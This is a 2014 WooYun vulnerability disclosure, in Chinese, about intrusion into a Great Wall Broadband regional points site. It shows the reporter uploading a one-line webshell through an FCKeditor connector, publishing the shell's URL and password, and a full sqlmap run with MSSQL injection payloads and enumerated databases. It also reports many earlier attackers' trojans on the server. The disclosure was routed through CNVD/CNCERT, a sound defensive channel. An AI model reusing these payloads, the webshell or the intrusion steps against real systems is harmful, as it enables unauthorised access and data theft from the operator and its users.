当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060955

漏洞标题:某省长城宽带可被入侵之第三弹(sql,任意上传,发现大量前人木马)

相关厂商:长城宽带

漏洞作者: Mosuan

提交时间:2014-05-16 08:57

修复时间:2014-06-30 08:57

公开时间:2014-06-30 08:57

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-16: 细节已通知厂商并且等待厂商处理中
2014-05-21: 厂商已经确认,细节仅向厂商公开
2014-05-31: 细节向核心白帽子及相关领域专家公开
2014-06-10: 细节向普通白帽子公开
2014-06-20: 细节向实习白帽子公开
2014-06-30: 细节向公众公开

简要描述:

呵呵

详细说明:

1.FCK编辑器任意上传

http://point.gzgwbn.net.cn/fckeditor/editor/filemanager/connectors/test.html


顺着前人创建的文件夹我上传了一个一句话木马Ps:只连接看了一下,未搞破坏!
木马地址

http://point.gzgwbn.net.cn/UploadFiles/file/asp.asp/111.jpg

密码1
2.sql注入
注入地址

http://point.gzgwbn.net.cn/newsinfo.aspx?nid=83


注入地址:http://point.gzgwbn.net.cn/newsinfo.aspx?nid=83
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:34:31
[01:34:31] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\point.gzgwbn.net.cn\session' as session file
[01:34:31] [INFO] testing connection to the target url
[01:34:32] [INFO] testing if the url is stable, wait a few seconds
[01:34:33] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[01:34:37] [INFO] testing if GET parameter 'nid' is dynamic
[01:34:37] [WARNING] GET parameter 'nid' appears to be not dynamic
[01:34:38] [INFO] heuristic test shows that GET parameter 'nid' might be injecta
ble (possible DBMS: Microsoft SQL Server)
[01:34:38] [INFO] testing sql injection on GET parameter 'nid'
[01:34:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:35:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:35:25] [INFO] GET parameter 'nid' is 'Microsoft SQL Server/Sybase AND error-
based - WHERE or HAVING clause' injectable
[01:35:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:35:35] [INFO] GET parameter 'nid' is 'Microsoft SQL Server/Sybase stacked qu
eries' injectable
[01:35:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:35:46] [INFO] GET parameter 'nid' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[01:35:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:35:47] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:35:48] [INFO] target url appears to have 8 columns in query
[01:35:54] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 37 HTTP(s) requ
ests:
---
Place: GET
Parameter: nid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: nid=83 AND 9244=CONVERT(INT,(CHAR(58)+CHAR(112)+CHAR(99)+CHAR(100)+
CHAR(58)+(SELECT (CASE WHEN (9244=9244) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(5
8)+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(58)))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: nid=83; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: nid=83 WAITFOR DELAY '0:0:5'--
---
[01:37:40] [INFO] testing Microsoft SQL Server
[01:37:40] [INFO] confirming Microsoft SQL Server
[01:37:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:37:41] [INFO] fetching database names
[01:37:41] [INFO] the SQL query used returns 11 entries
[01:37:42] [INFO] retrieved: Appreciation
[01:37:42] [INFO] retrieved: GZGWBN_Points
[01:37:42] [INFO] retrieved: GZGWBN_WPF
[01:37:42] [INFO] retrieved: GZGWBN_WPF1
[01:37:43] [INFO] retrieved: GZGWBN_WPF2
[01:37:43] [INFO] retrieved: GZGWBN_WPF3
[01:37:43] [INFO] retrieved: HIS
[01:37:44] [INFO] retrieved: master
[01:37:44] [INFO] retrieved: model
[01:37:44] [INFO] retrieved: msdb
[01:37:44] [INFO] retrieved: tempdb
available databases [11]:
[*] Appreciation
[*] GZGWBN_Points
[*] GZGWBN_WPF
[*] GZGWBN_WPF1
[*] GZGWBN_WPF2
[*] GZGWBN_WPF3
[*] HIS
[*] master
[*] model
[*] msdb
[*] tempdb
[01:37:44] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 37 times
[01:37:44] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\point.gzgwbn.net.cn'


由于前人的木马太多了,我就不举例了,建议进行一次彻底清查服务器!!

漏洞证明:

详细说明

修复方案:

你们懂的!!!

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-21 08:32

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给广东分中心处置。

最新状态:

暂无